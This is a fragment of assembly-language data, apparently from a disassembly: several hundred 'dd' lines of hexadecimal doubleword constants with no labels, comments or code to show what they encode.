		dd 0C594B4Ch, 0CFD5CED8h, 84C6580Eh, 28A1F222h,	0A03CB0E9h
		dd 0B89A900h, 0B34139E6h, 0AF791A00h, 11EE533Eh, 6C7849BAh
		dd 4E245603h, 0CB98EC47h, 0F7045E33h, 0DC86797Fh, 6C90DCD0h
		dd 0A64300EEh, 5C0C204h, 0C4F80BAEh, 0F970DEB8h, 0FD00DD74h
		dd 9E47B03h, 87D327h, 0A8EEF32Ah, 1A16BDB9h, 13EF2801h
		dd 0CA04AC19h, 94C40420h, 58BFE094h, 0B13B4CD4h, 0C7238425h
		dd 44B34F1Fh, 0AB142670h, 0B20300A0h, 0DD7F97D4h, 2C00C377h
		dd 0BCF61AC2h, 0BD8C6543h, 50864140h, 5A00DA7Ch, 23BF8AABh
		dd 242971D8h, 82388E78h, 726A5D39h, 0E0908C68h,	3D9F4E01h
		dd 0FE6ED163h, 24C3160h, 122F01A1h, 45E0CCB1h, 7D00D3FFh
		dd 0F0BBF699h, 0BA4CB0EDh, 20D16F74h, 0DA7ED040h, 670B0D2Fh
		dd 686C980Fh, 2235D24h,	0C7E913F6h, 3071AEEDh, 2A9EA08h
		dd 6A575644h, 0FD40D08Fh, 91825D95h, 0DE43B805h, 508C6938h
		dd 21FB0FAEh, 90879FD0h, 0D191C0D7h, 982CB74Fh,	280007Ah
		dd 64577F71h, 2B9A880Ch, 0A02C4804h, 84E4C189h,	1387F6C4h
		dd 41828DA8h, 7D472190h, 93838A7h, 663013h, 0EE8BAB1Ah
		dd 0D1C50A7Eh, 0EC52365h, 2F63516Ah, 31093BA6h,	0C8542930h
		dd 0B0A1E950h, 2B260054h, 0A476714Dh, 130539D6h, 97FB1D63h
		dd 0B17FF888h, 7AE8A660h, 79DA3181h, 0D0C1E2B0h, 0C0A0CA76h
		dd 0E6F617BDh, 84499219h, 0B5D42789h, 3F1090D8h, 5580073Dh
		dd 0EB374150h, 140EF2AFh, 4B2B92DDh, 7ACC006Ah,	9A04513h
		dd 8D02B670h, 8922BB20h, 5C176186h, 0F400D7B2h,	1B91D56Eh
		dd 9B7D1DA9h, 4273C159h, 638944E3h, 26E4099Ch, 12FC6EDDh
		dd 0ADB830h, 1CCDFEA4h,	0A21FC2A8h, 5D826696h, 0CBA4C880h
		dd 0C692C8F8h, 6E820B6Fh, 150064AEh, 6BC7DD94h,	1EBB9507h
		dd 6A550886h, 0BF287C80h, 1A230BEh, 6293B411h, 0C912F505h
		dd 9C80490Bh, 3F3206A7h, 88D88F4Ah, 21892011h, 0B4F16108h
		dd 196864FBh, 0C5833300h, 49E61FEh, 0B09F093Bh,	88A21459h
		dd 9A1063A8h, 78C08229h, 9300C1EDh, 14881FB5h, 9A75E68Fh
		dd 0EE4C0FECh, 454079ADh, 9CF8BCD8h, 0A1881B00h, 1562327Eh
		dd 581FCAFh, 46D4E1CCh,	5C1F80F7h, 0A70045A8h, 0C09BC39Fh
		dd 28252368h, 12CC3EC9h, 374F5Ah, 0FEFB135Fh, 0F80017E3h
		dd 9DF40351h, 3E745Bh, 823823E6h, 0BB2EEEF7h, 7C0798B0h
		dd 0A301721h, 63C06B15h
		dd 0F69811Ah, 0A849A550h, 8E7AF00h, 0BD00C672h,	25824B6Ch
		dd 6B2040h, 0BC099C2h, 325B2706h, 33B2470Fh, 148C741Bh
		dd 0E0B559h, 0AE74BA5h,	3D47EE02h, 0A28164B3h, 135C54Dh
		dd 0FDBAE0EDh, 0FEDD1A0Eh, 91BCC054h, 9B5BB2h, 7DFF143Eh
		dd 882FE0DCh, 2DCE7201h, 0AE45D6FBh, 0BF57FCh, 0A5A1875Ah
		dd 3B00C3Bh, 2E20AA04h,	0BA80EE4Bh, 3FBC16E8h, 8500BA3Dh
		dd 38D4F25Ch, 6E0FCC73h, 20AB9FF1h, 1BEBCB98h, 0E43C04DAh
		dd 908BCAE8h, 2AB05EACh, 41CB524h, 8FA9DF01h, 22EA3B2h
		dd 14BF75C8h, 974070E0h, 0E793D600h, 6FA7A16h, 0EA2B7E41h
		dd 88810CD4h, 0A5282E10h, 0F9548400h, 0B04065C5h, 0A0CE4DC7h
		dd 0AA559B00h, 952FAD45h, 0D440025Fh, 0C060ED3Bh, 60789230h
		dd 0A429483Fh, 1C90066Ch, 91E2BA0Eh, 1B73E060h,	13E1931h
		dd 0A6289F5Fh, 30FF76ECh, 9B00FCB0h, 95B33DDEh,	5A74B1h
		dd 2F4CED05h, 0A555238Eh, 6E8C3316h, 25D29040h,	26274184h
		dd 8028479Dh, 0F8B7D1F3h, 74007BF9h, 2C384A8Ch,	0C03097A6h
		dd 3D049D88h, 92009E3Ch, 70011BB3h, 7542026h, 9B5CEF42h
		dd 6E0870C4h, 0EA0062AAh, 0B867599h, 1E856368h,	78F2A55h
		dd 0EBEBFF52h, 70468B07h, 5953819Dh, 0B77C8AF6h, 54131C00h
		dd 0DD390BD9h, 0C62D00B6h, 7F0FB9B4h, 280008D8h, 308B2290h
		dd 3D3F2C46h, 2730AEC1h, 2C83EA6h, 755339h, 0EB4D5955h
		dd 334B88h, 810C22FAh, 5EE3F911h, 83D2F300h, 4896893Eh
		dd 17EAC4h, 13E5E842h, 2437B2BBh, 90286475h, 3927E097h
		dd 74C0E019h, 0BEF6DBh,	5F7D7BD6h, 0BA501F2Bh, 32B59200h
		dd 6DEA035Eh, 88E700C7h, 2F4561CEh, 0A7000416h,	8A489C8h
		dd 2628FA0Dh, 948869h, 6872B2FFh, 8F046A02h, 0FB6E1074h
		dd 0CC1578A1h, 27F978C0h, 96B71C5Eh, 80D49E2Dh,	869881CAh
		dd 0CF0016E3h, 91B3882Ah, 756697F7h, 9C43264Ch,	0DDEF001Ch
		dd 744F445h, 0B11F9498h, 0FE2608h, 0F9794E2Bh, 0CD247FEh
		dd 96DBE9D1h, 9100F1F0h, 0EC9239EEh, 370593h, 0D6672C4Eh
		dd 7DDACEA3h, 276E0A14h, 80613D83h, 0B4015F7Fh,	49EBD1Eh
		dd 411FBF90h, 85FAC071h, 0F161A0E4h, 0F82977F1h, 0C4221863h
		dd 1FB8E21Dh, 77BC9FC0h, 29ED6E4h, 5CC5CC2h, 0D8409AD3h
		dd 0BA006C81h, 1F03EF25h, 9A64BCBh, 3AAC6A7Fh, 39E23C60h
		dd 12A9A50Eh, 0B7405E35h, 4861B18Ch, 0C35300EAh, 25F74CF6h
		dd 0E0091894h, 81D0FB31h, 657D8E38h, 122CFC22h,	0C0AD15BDh
		dd 88A2FA02h, 47066CFh,	0E5EBBC00h, 20420E8Dh, 4BA60007h
		dd 3B2C4A9h, 50B03BE8h,	0AA45D1Eh, 0A7439B81h, 1DE074C2h
		dd 0E5C9CAFFh, 41CA00C1h, 0A06E7BACh, 6DB4500h,	0AA46E70Eh
		dd 0A5810061h, 919F0D48h, 52006775h, 0F4C716F8h, 1BAF056h
		dd 9A92B893h, 0F48B7433h, 0C8C08997h, 3C09D92Ah, 12C09057h
		dd 83DE8C05h, 0E4A09278h, 0A60083E1h, 0AC90E26Bh, 0B8CEE6Fh
		dd 26ED64B0h, 84418060h, 3B006171h, 1B0215DDh, 2A776FEh
		dd 0D856A67Ch, 8CA077A2h, 6F3322BAh, 748948h, 7895A4C7h
		dd 18AF021Ch, 6ED33154h, 109D4620h, 5FC24E8h, 0B73C6EE8h
		dd 0C52CA059h, 0F41ACA01h, 3BF248A3h, 306403E0h, 7121875Eh
		dd 0A9014EE5h, 0D3D90D07h, 48303488h, 430B1E96h, 0F9090F49h
		dd 35901400h, 0C7033050h, 37AE4BF5h, 0DDABA093h, 876500F1h
		dd 0A3C0A433h, 787B5C12h, 4719D2Ch, 70907092h, 97F1C258h
		dd 0E6B22C80h, 7A05BB36h, 276C240Bh, 0C100F4E6h, 446F49A9h
		dd 0DA0174D7h, 0A3208A59h, 307CFDC3h, 2BB85E01h, 0F4193C28h
		dd 0FC98EBB9h, 8F887503h, 578065Ah, 0E2E4F310h,	20268731h
		dd 9B19B983h, 0AF9FAE05h, 9500980Fh, 9C6B293Bh,	84EC02A4h
		dd 0B5BA6148h, 0F4F250E9h, 43263B02h, 1D8AF0A8h, 9E04ABE4h
		dd 98803F99h, 40984h, 898FA3C6h, 48F7E2C4h, 683C57F8h
		dd 8621EE9h, 0A143E41Eh, 64BA71h, 31924F48h, 3FF586F1h
		dd 0B58BFF00h, 240CD866h, 87FA1AD0h, 14C028FDh,	0F300A1B9h
		dd 2B6354B6h, 7B31CEh, 0DD18F408h, 0EA9575BDh, 686D8D06h
		dd 0F8DBC7h, 0E62103E8h, 0CD4F8446h, 33AD5A03h,	98365DA7h
		dd 3AB8CA0Eh, 3FFC6E99h, 8480B34Fh, 0C355607Ch,	14141AA0h
		dd 1CFDC922h, 0E2828C6Dh, 7C8AEB94h, 0A06C00C0h, 9AA413CDh
		dd 0F3747F24h, 0F88C283Eh, 67016102h, 405C022Ah, 0BEA649h
		dd 1346D5A3h, 7AE24A47h, 39AADD00h, 0EC44120Bh,	0A6B007CFh
		dd 2572D81h, 18788F2Ch,	53F4F00Fh, 80CAA951h, 0EA99E764h
		dd 47A9072Fh, 0F00501F2h, 5932D977h, 0D2BD9601h, 375D7F75h
		dd 0B4871C60h, 0A8F24534h, 940E7D5Ch, 1A2EE29Bh, 61EE6010h
		dd 60E31DBDh, 21CD4A49h, 2F8389FCh, 7D983CF2h, 84002D4Bh
		dd 8C6081E7h, 0A16901CCh, 56EC145h, 46BE465h, 2A8D6807h
		dd 3F36FEBCh, 85E30930h, 708CA19Bh, 0A9005C10h,	563B3490h
		dd 3DA7B0E9h, 91EF993h,	50EE8Bh, 0AD77837Ch, 7FFEF759h
		dd 88DBB000h, 0F4847DFCh, 0C8E500A2h, 2CB4E06Bh, 6700808Bh
		dd 75C65A71h, 98C556ADh, 0BDB8005Bh, 0F51870D5h, 2105633Ah
		dd 2540F73h, 1B372780h,	926F079Ch, 1188CA83h, 80DFDD3Ah
		dd 0C66885F8h, 90FE329h, 0A24FCF1Bh, 0E646A4A0h, 0EE2E0309h
		dd 3E008B45h, 0B31AD631h, 65750098h, 0C750F654h, 0BB0058F2h
		dd 0E41490B9h, 988B3735h, 798A00A0h, 0F0553E69h, 8E22039Fh
		dd 3B9807D4h, 80C44CE7h, 0C59C8AAFh, 38B9F75Ch,	57B209DDh
		dd 16D48F3Bh, 96BC0F4h,	957B40D6h, 361198A0h, 5D00FC99h
		dd 4DAC4C91h, 120D2002h, 803C892Fh, 5911CE34h, 0E0621600h
		dd 0F3C6A896h, 5274003Eh, 93A631D5h, 6F5802D6h,	489901E4h
		dd 0DDF7A19Dh, 0FA6920h, 9B7897FCh, 0DE93647h, 0DCAA1B12h
		dd 12CE4082h, 5002456h,	661F9A27h, 0BACA078Ah, 0F0AAA5AFh
		dd 2A595C4Dh, 0C042AC01h, 0DFA3240h, 0DBF1F0h, 38D2EB46h
		dd 340EA998h, 5CBCE400h, 939C3E7Eh, 2933043Fh, 80139973h
		dd 270F4A5Ch, 0E53DA00h, 2E2FE720h, 48654832h, 120C941Dh
		dd 6268025Ch, 0EA04D1F1h, 0E2A0D0FCh, 0F0C1D637h, 346E2375h
		dd 0B868006Fh, 89EECD06h, 2142AC94h, 7BE0005Eh,	0D760E332h
		dd 6ECD8D38h, 834600A2h, 0C1DC3B1Dh, 0D30F298Fh, 0E48EA089h
		dd 180559D1h, 0F00CC711h, 6E108D2h, 3C10B659h, 0E44D2AEBh
		dd 0E1EFCE25h, 71A60EF0h, 0ED28B973h, 0BE3127E1h, 74981811h
		dd 0B509DE70h, 0B724C7h, 4E6F5834h, 4328009Bh, 0A4C96433h
		dd 170092C4h, 7432CEB3h, 0FC58118Ah, 7CBB909Ah,	0A7BA0067h
		dd 0C59B304Eh, 7B1E0CC7h, 2B4D97F0h, 0C8DC9825h, 0FD1A0080h
		dd 0D6DC860Eh, 9000B4E6h, 1C069527h, 3387407h, 2C584365h
		dd 2001DE7Dh, 0FF7ECAF3h, 42D8165Fh, 18BA0095h,	922E7F1Eh
		dd 0A8B04C33h, 2BE9F200h, 87A42324h, 0EC4B1D26h, 40F69F72h
		dd 0CD16F1A5h, 0CE008E97h, 0B002A38Ch, 147B1CAh, 546DD568h
		dd 708D7306h, 43E23C1Eh, 0ADAC2C54h, 0EE0ECD7Bh, 60402849h
		dd 0ACE77AE3h, 0DF7282h, 22462E0Eh, 1657856Dh, 8B281805h
		dd 40BCF9B4h, 4B6BC407h, 0AC09C0F5h, 9D3F0838h,	0A3B8504Dh
		dd 6200DD73h, 0B4693DCBh, 4A8AB16h, 0B831A53Fh,	0C874C314h
		dd 47D14FCBh, 1C042874h, 0F4940A9h, 622080E2h, 60E5A682h
		dd 67D81687h, 0C700256Fh, 5C7ADCF0h, 4C544658h,	34007FB6h
		dd 9DBC1DDFh, 0F000FD7Fh
		dd 9B8CEBDEh, 674D5Bh, 0F6C4A779h, 0A9AB5AA6h, 8FADDC12h
		dd 0B2970B0h, 0D15369EEh, 0E3611440h, 0B288A00h, 67442E08h
		dd 0B57D2DD6h, 0D36B8CE8h, 69C03800h, 73BA46EDh, 0C54D00E0h
		dd 0C840E16Eh, 4B01E271h, 547C38CFh, 55E43CCBh,	62B658CCh
		dd 3BCEF28h, 0C0ACC526h, 113CCD38h, 4A73E9Dh, 9A174A6Ah
		dd 607290E4h, 645799CCh, 513AEDBDh, 3DF11D94h, 1B98B883h
		dd 0D0AE062h, 1E4926Ah,	0ACCD253Ch, 3495E5D7h, 0F606F140h
		dd 5189D9DCh, 0CD0A0048h, 0D7E1E58Ch, 0D83A20E8h, 914080D0h
		dd 0A9993FD4h, 0CA9B5CCFh, 9A2C5300h, 6C8C9514h, 0EAEC120Ah
		dd 0A0A2C1Ch, 0ED003C0Ch, 4F64B5BDh, 0C5611DA0h, 5ADE8048h
		dd 3E418E46h, 98B90B00h, 69D12BD3h, 4D6C00D5h, 0E327D60Dh
		dd 0CE00EDC6h, 351DA0E5h, 0AFF5B3h, 0AAE9B22Eh,	23D10F47h
		dd 72A2201h, 0CF2FFDCEh, 0F87E76CCh, 4639003Bh,	1A621EEDh
		dd 2900C1C6h, 0DBB89F63h, 0E48D0A9h, 0EDD133EFh, 0B2CD8A60h
		dd 0C375054Ah, 0B6F2DA00h, 9B9025EEh, 89AD0634h, 0D1F9F0AEh
		dd 3AC26400h, 16E39AA2h, 225400BCh, 2538218Eh, 0D503041Ah
		dd 5E14F744h, 0EF4AA374h, 2A49BE20h, 0C9F20283h, 0CE0AA048h
		dd 5B68E0A0h, 690AEA7Eh, 0A0A3B3C0h, 0CD11A006h, 156E0121h
		dd 5F622AC9h, 403A3025h, 4AE49h, 0D52E4E3Fh, 3F55947Ah
		dd 6980E96Fh, 0DEC992B5h, 0A054C6FFh, 4F1C7EC8h, 0B080652Eh
		dd 7C23FD60h, 0FACD00B1h, 0F075336Fh, 587E0849h, 0C691740Ch
		dd 0F43994h, 1CFE6A42h,	0B79B8DC3h, 5E9F5A00h, 9203F049h
		dd 1E7090DAh, 80090AD4h, 16916041h, 2104067Ah, 4DA06193h
		dd 190488h, 0E9D3202Eh,	159F8CC7h, 1DE8D777h, 0F20CCF00h
		dd 1B16A06Ah, 90D11F57h, 0E9D9D898h, 1000B4F4h,	9EDDCF80h
		dd 0CAA5471Ah, 0D0049C11h, 0D53EBAF4h, 36190381h, 0E07EFF06h
		dd 1CD39360h, 6433C1AAh, 9EDF00B3h, 327183F7h, 0A2008075h
		dd 42C87C9Ch, 3B41AFAh,	88BC5CD9h, 6CABC587h, 988DC3CCh
		dd 0CF5BB890h, 8AF33E0Fh, 91019CE4h, 69139BE5h,	6E4C9040h
		dd 0F2DEC0Eh, 3CD68D8Ah, 0FDA95C2h, 0B618EFE0h,	539A7A07h
		dd 5F5E13D8h, 0C22F2580h, 622191h, 15FD4BB5h, 7363044Dh
		dd 0E3008275h, 0F8A7983Fh, 54FE91h, 903157A4h, 7875958Ah
		dd 866E0F2Eh, 5D53A0Eh,	66C16F4Dh, 0CEF00424h, 0C2A6008Eh
		dd 38EBF06Ch, 0E500EA73h, 0B07C56EFh, 7D7003h, 5A25661Ah
		dd 49BDD36h, 953CEEEEh,	50BEB1h, 6297F382h, 501F4C85h
		dd 0B864B4CCh, 8FE93F9Eh, 6E057700h, 8BEB8C50h,	85C7F701h
		dd 0E4E72C19h, 28960CEh, 0A9A0010h, 7F9BC371h, 3E784A11h
		dd 445C840Ah, 8100EEACh, 886CA020h, 0BAA81CD8h,	333105FFh
		dd 64EC40CDh, 0CC960537h, 57C76D2Ch, 0ABD9A63Eh, 6D01CE17h
		dd 0B014478Ch, 145C79CCh, 0BC457792h, 7C1AE907h, 0BFFB73D4h
		dd 0C30743B8h, 0D49ED00h, 0B49F5DC1h, 3CC00B3h,	0D170222Dh
		dd 2401FC2Ch, 8F7FB18Ah, 0B9AC891Ah, 0D8F600A2h, 46D18319h
		dd 7C00F476h, 0C2B21851h, 0C4E9B4h, 8CF31F21h, 91FEB6E2h
		dd 8FB7E100h, 0A1EC0131h, 90A7F6FAh, 60236024h,	0FD7AB5Bh
		dd 0EA01CC0Ch, 0A221ADh, 41BB9303h, 73DE3DDFh, 0D73CD301h
		dd 338DE595h, 0BA5BECh,	5E9790FCh, 949A088Fh, 77013900h
		dd 3A7FB851h, 0ECC60599h, 2DAA1E7h, 0A55256A4h,	0EF38B800h
		dd 0D02650E4h, 174B03F0h, 0FD42D76Eh, 7A6220B7h, 0AF782DA0h
		dd 93F8D360h, 90E3355Eh, 0EE8A019Bh, 2E479444h,	0DE702480h
		dd 2795D200h, 1F7B3B59h, 86E6001Bh, 0E102ABF4h,	0A3790A97h
		dd 0F9619500h, 7577E52h, 668E0011h, 0B18DFDD3h,	0E6003268h
		dd 0E0F2213Bh, 8C2842h,	852C4EECh, 0AF044FEDh, 44D67706h
		dd 1B8F052h, 826EAA1Eh,	7012ABE1h, 493CEB46h, 0B002F8E2h
		dd 0A9EFEC14h, 9C0460B8h, 0FCE0CFC5h, 2003A1Fh,	3A14DDBEh
		dd 33165A3Bh, 781096B4h, 560912BFh, 7B221C40h, 4D4F73Eh
		dd 1161ACB5h, 9334D0A6h, 6C1C0BAFh, 6900AACDh, 0F72286CAh
		dd 36D1F1Dh, 0FF5143FEh, 12B8C621h, 3900B836h, 0ADDED7C1h
		dd 3403D38h, 667E2757h,	203913CDh, 3B4D0098h, 9C99BC52h
		dd 1D9B00BBh, 0E692BFA1h, 3007603Eh, 276B703Ch,	0E0FC24D3h
		dd 0E4B45BB9h, 83C00004h, 6E521A31h, 5D001DD8h,	0B2354477h
		dd 0EC0D20D3h, 894B0766h, 0FE698F7Ch, 56C811ACh, 0A2CEE500h
		dd 0EF4D9988h, 0F5600064h, 0C39DAAEDh, 7700B973h, 0E4430180h
		dd 97B216h, 40BEDAB5h, 0CB89A652h, 0A883EC03h, 0F09825AAh
		dd 67DE7Ch, 0DFE8F250h,	829AC4A1h, 24A9AF00h, 85E9EFCAh
		dd 14BA041Bh, 9063DC29h, 94EA3B48h, 3AA27B07h, 7F0FE2DFh
		dd 62E54940h, 2DF35Eh, 8A21AEC2h, 82140D31h, 0BFA5A713h
		dd 1643000h, 1D5A2A05h,	9DF32999h, 20B5215h, 54891BD8h
		dd 806601C1h, 93B52A11h, 0B027A4h, 0C475F340h, 78A882EEh
		dd 4A42921Fh, 0CB801824h, 4F5F8344h, 0A234022Ch, 0D58AC945h
		dd 43DE7440h, 9142650Fh, 8FE161E7h, 0BF07DADh, 4C6D28E4h
		dd 6B9B00E8h, 0BF0F712Dh, 10F4271Dh, 0B25F5900h, 92FB3B99h
		dd 21BD187Ch, 78D831D5h, 0D9190D60h, 0E562A53h,	0A08CAD48h
		dd 0FF6B140h, 73581489h, 4D380030h, 43A85019h, 0B3E900EEh
		dd 59A07116h, 0FE4C42A4h, 0C0AA0094h, 0F7581990h, 7BF30034h
		dd 89E441D7h, 5A05F45Eh, 0FAA518BDh, 0BC708EC7h, 0FA92C4Ch
		dd 403C78E3h, 32971120h, 8D00E416h, 0F7853719h,	390C973h
		dd 0BCB6D2DDh, 7D90BFDAh, 4E2EB44Ch, 7B0F657Fh,	0C63BC09Ah
		dd 8FCCA6h, 75E846E7h, 32884D80h, 0F9FD5D00h, 1872DEFAh
		dd 0BFD1001Dh, 9B80EFBDh, 7704AD73h, 2D0B7BC7h,	0A3CEC3h
		dd 0DA747119h, 0CF92ADD9h, 0F9DE2500h, 0E3502770h, 7F8B007Dh
		dd 601FB118h, 0E67EA854h, 33BCA700h, 3987CAFh, 48E0EE08h
		dd 0F403954Ch, 42C519B7h, 655259A8h, 0F2DD1300h, 8092B138h
		dd 224BA88h, 2BD2508Eh,	8682CE9h, 0A12C6AB0h, 3A806CBEh
		dd 0FA4020Eh, 0AD1B0066h, 0B21E59A5h, 1A01633Ch, 246D3278h
		dd 520347Ah, 7635007Dh,	74CA8030h, 0CF008F2Fh, 0C393317Fh
		dd 18C403Bh, 5AF8F9C6h,	74684C66h, 0F7B09C60h, 180CB59h
		dd 0EDB4B956h, 0D4D1A954h, 309286D0h, 4A21C844h, 1A3CD58Eh
		dd 1CAC99D0h, 0EBD0AB08h, 87143026h, 0A1F303D9h, 2306649Ah
		dd 2E63A5EDh, 0F49D0008h, 8B465279h, 4C00E2E6h,	0F928CC94h
		dd 5A91BCh, 76B2A60Fh, 9A6D8C4Dh, 59CE5D00h, 23266E8Bh
		dd 0C2AC019Ch, 0DD0A0312h, 94B6E0C7h, 4C002B76h, 0AC379197h
		dd 0C545A22h, 0F8FD2662h, 0A8051B91h, 0AB8591C1h, 0A2FF4C01h
		dd 2DF07804h, 0F8BC00CEh, 0F5D7C660h, 39CB994Ah, 0C2610783h
		dd 0ABD680D0h, 905250ECh, 82540AC8h, 428CB892h,	0A890624Ch
		dd 0A83E3D5Fh, 5C373AF9h, 0C84507A5h, 0C0504D8Dh, 5E8E9Ch
		dd 248DF7Bh, 86D88433h,	3126087Ch, 9900A1DEh, 0B5F11C51h
		dd 0E99F008Ch, 62616BC5h, 920050CFh, 1A96DF73h,	0D9CAD4h
		dd 2ED69CEDh, 3FB2C852h, 0AF0E80E6h, 408CDA54h,	0D945697Ch
		dd 9DF4E9B4h, 37F260h, 0E659CFC6h, 429998D4h, 0D6006B90h
		dd 0C06FC2D1h, 25FCCBF1h, 7818A8CFh, 7E01E67Ah,	850B74A1h
		dd 0B2D045D8h, 2AC1F7Dh, 15688F89h, 0C07F7C87h,	86B72F1h
		dd 6973860Fh, 8D390701h, 107546h, 0AFCB8418h, 479888D5h
		dd 9009ACB8h, 76099Fh
		dd 0A1BD0279h, 870C036Ah, 85086D75h, 8112C0C7h,	17787F71h
		dd 617EC13Ah, 0C7187930h, 0A9C9Dh, 0B20D5BA1h, 0C504737Fh
		dd 0C6397289h, 7AB4E8A2h, 0F482BB04h, 6CE1EB23h, 37E03B2Dh
		dd 34D80088h, 65E69E19h, 56182FD6h, 0E818D064h,	623201BCh
		dd 0C9A4EBA0h, 0E7B870C5h, 87077825h, 0AF4175C4h, 61BBCAF9h
		dd 0E014FC00h, 85B51954h, 0B4E14C1Dh, 96319818h, 0C1470F4h
		dd 905AAC08h, 4C03E099h, 563D946Fh, 1601B0FCh, 0E488001Eh
		dd 3C0E5A4Ah, 1009A4E8h, 0C31F4B91h, 0D242DF44h, 36CE4F7h
		dd 6246AABCh, 0CB88A52Eh, 8CC9525h, 1E621B8h, 9D8C46A2h
		dd 83D71AE0h, 7256FB1h,	0B206A1DDh, 517949E4h, 300B84D3h
		dd 47C0BE88h, 1AE649Dh,	1CAFF288h, 89C62A21h, 40E28D50h
		dd 93DC28h, 4E5EDDFEh, 68B5703Ch, 0C2E75304h, 83AF8D1Ch
		dd 0B2E05D22h, 2E00EF82h, 81B0F44Eh, 31491ED8h,	9150EE86h
		dd 83C84CCAh, 0C0B6F488h, 72195C91h, 587FC949h,	6B462500h
		dd 874E40C4h, 19577D2h,	551A0618h, 50CC99F8h, 0E621DE88h
		dd 94F9A9C5h, 0B97FD043h, 202690D0h, 0B28C00E8h, 0EF4F87F1h
		dd 310454FBh, 0A0A57DE3h, 3FFD0498h, 0E190EB14h, 809BC8B4h
		dd 0E514F58Fh, 0DF6329DEh, 0F8085971h, 0E499F4A1h, 0C4C9D0C4h
		dd 0AE01D623h, 852E6E46h, 0E288B118h, 0D44600A6h, 9D08D97Ch
		dd 96F4A8h, 0E8078089h,	15623C8h, 0D8843D93h, 0CB120F9Eh
		dd 0BCCAF8E0h, 562BB0A0h, 203C1B31h, 12FFAC7Bh,	41A61838h
		dd 7C4E2794h, 3B8100CBh, 97A74ADh, 9FD232CEh, 405B9801h
		dd 0CC818051h, 4C79DE18h, 867581A5h, 0B2CD1690h, 0FB80A20h
		dd 4074E911h, 2E6F46B7h, 0C0228D46h, 46AFE300h,	3BACB232h
		dd 0CA7100A6h, 63FCC84Eh, 80014C6Bh, 0F7BF9C7h,	0F04549B2h
		dd 0A423D83Eh, 0DF8BC900h, 9D7E578h, 0BD5445D5h, 0C1584820h
		dd 0CC0A7BB8h, 0B485F9F7h, 6862A080h, 0C601CACh, 8804D4C1h
		dd 21C1AE08h, 0DA685AC5h, 0F7466D0h, 17674A36h,	0B71D7842h
		dd 8D6F8881h, 0C10C24E7h, 7214D00h, 57BC5F48h, 2CDB3C9Eh
		dd 0CD0E2401h, 40A32A31h, 513CB7B8h, 0D0DF2628h, 85A0506h
		dd 2A50ABF5h, 1E9CD901h, 0F0BC562Dh, 5A511CC0h,	0A730B661h
		dd 8F3A584h, 0D0D14038h, 5E2E9C01h, 3082B5F0h, 54AC6CECh
		dd 3B0C8C72h, 40C1EA49h, 843E0602h, 51EE1218h, 0EC029441h
		dd 46AD30D7h, 7D2E6111h, 0E19EB988h, 5AE246C0h,	444FFBEh
		dd 0BFAD114Ch, 1D7805Eh, 60C4CB0Eh, 0D088FA2Ch,	214F3D4Dh
		dd 0C885A480h, 3D1E87C1h, 7D5ED8F1h, 9FD17C02h,	1210E0F7h
		dd 34C07843h, 0E1EC556Ch, 0E9B3E0E9h, 5DD65F05h, 0F041B27Ch
		dd 1BE01D8Ch, 0DE0B9832h, 28201227h, 3701040Ch,	0D6FA411Eh
		dd 60124426h, 9775B049h, 80A49108h, 0AF22D41Ah,	8E29129Ah
		dd 0EF0052D9h, 0A3DEF200h, 52D405Fh, 0AC65D161h, 0D0C42363h
		dd 0EBC1100Ch, 63FC0867h, 0B95F59DFh, 27C64CD0h, 0B7836F00h
		dd 0E87098C2h, 8AC7030Eh, 0E1A1FD65h, 0D32452F0h, 6046E58h
		dd 0DC2CDF11h, 92B01B81h, 1CC0514Dh, 6D2870F9h,	0B350DC30h
		dd 58CD3F0h, 2E6546A9h,	148E9Dh, 1E46A1E5h, 43E5142h, 8D770A12h
		dd 0FC55815Fh, 8A6980DCh, 57F9D629h, 4FF6EBh, 6C4CAAAFh
		dd 6D4B325h, 20E9A7E1h,	0A440C258h, 0FF770ACAh,	18D4D1A9h
		dd 0D3A0C1BBh, 81C021B0h, 0F03716CAh, 38750128h, 96CDC7E4h
		dd 946EA4DEh, 856E5A40h, 1D5312FFh, 0E80C594Fh,	46F019D5h
		dd 0AD2E2C63h, 0ABE770B8h, 5364609h, 0BE1D845Ch, 3A54A880h
		dd 0D8A64812h, 4909D948h, 2007967Dh, 725371A0h,	1C4CFEA5h
		dd 0E114FB02h, 19B51154h, 0F38910A0h, 1EBCB014h, 808E6B48h
		dd 0B3435D4Fh, 846492ACh, 0A4C48CD1h, 0D280D884h, 26013CD8h
		dd 8214DE62h, 0C9BD78BAh, 0B4E8CA00h, 6388DC39h, 0EE14FA01h
		dd 0A7180954h, 14F8608Ah, 66260E04h, 3042ECC3h,	8441A9D1h
		dd 8FE18A1h, 0E954EA14h, 0B8F68C70h, 0DAF20190h, 9EF7FF03h
		dd 0F5B030D1h, 6864048Ch, 62901CAAh, 37C32797h,	7791D068h
		dd 1F58562Eh, 0F2CC8564h, 68612420h, 381C23B7h,	0C637AB11h
		dd 9D23E320h, 41CD2BB8h, 8458AC11h, 8E67F709h, 6FC72843h
		dd 937C39E0h, 0CD0FE33Bh, 0E0DD0914h, 8710C6D3h, 6F9D022Fh
		dd 0A1C455A6h, 0C8FCC485h, 3F00B608h, 7095F265h, 3A4AC6Fh
		dd 972505EFh, 409029C0h, 96000364h, 981306Ch, 59D63255h
		dd 4713B488h, 5D1831A0h, 89806E4Ch, 52D61061h, 0AAE27C66h
		dd 74F55A30h, 1EB104FAh, 80E38601h, 0C5282518h,	0AE92B700h
		dd 0A22254E4h, 0A4E8173Dh, 780492F9h, 86425B40h, 27073500h
		dd 0D9B491F6h, 40F200E3h, 578DD734h, 0C1EE0230h, 0E0B982FBh
		dd 50B05692h, 7040BB70h, 5905E44Ch, 5E7D649Dh, 0C34A7081h
		dd 4E7EC00h, 1448A54Ah,	8E80BAB1h, 0F1F2A6CBh, 0C50024C0h
		dd 6E849C21h, 17EFE4Fh,	0BBC4A3EFh, 20A5D52Eh, 28CA268h
		dd 54ED14FFh, 0F4E5B5F1h, 14F78D87h, 0A2185246h, 912015ACh
		dd 0BFB680A0h, 2F0A7BCh, 809404Dh, 4C499E0h, 0D2CC9046h
		dd 57079169h, 0D12E345Ch, 9F29C230h, 67ED0501h,	91FE0F5h
		dd 0C4826F14h, 0A46ABC92h, 0E8610860h, 29225002h, 60A4F701h
		dd 548D9C22h, 0F0DCD4h,	5AFE0AECh, 91A1ABDDh, 0EA18CC94h
		dd 0D4D121h, 0B3A2CE0Ah, 0AF8D2137h, 5E306F0Fh,	445E5754h
		dd 405822D1h, 0C8A0203Dh, 0B975CE03h, 26CB0108h, 74C41910h
		dd 2C17BD46h, 63F300CCh, 0F91A0C7Dh, 7CCBC62Eh,	70662EC0h
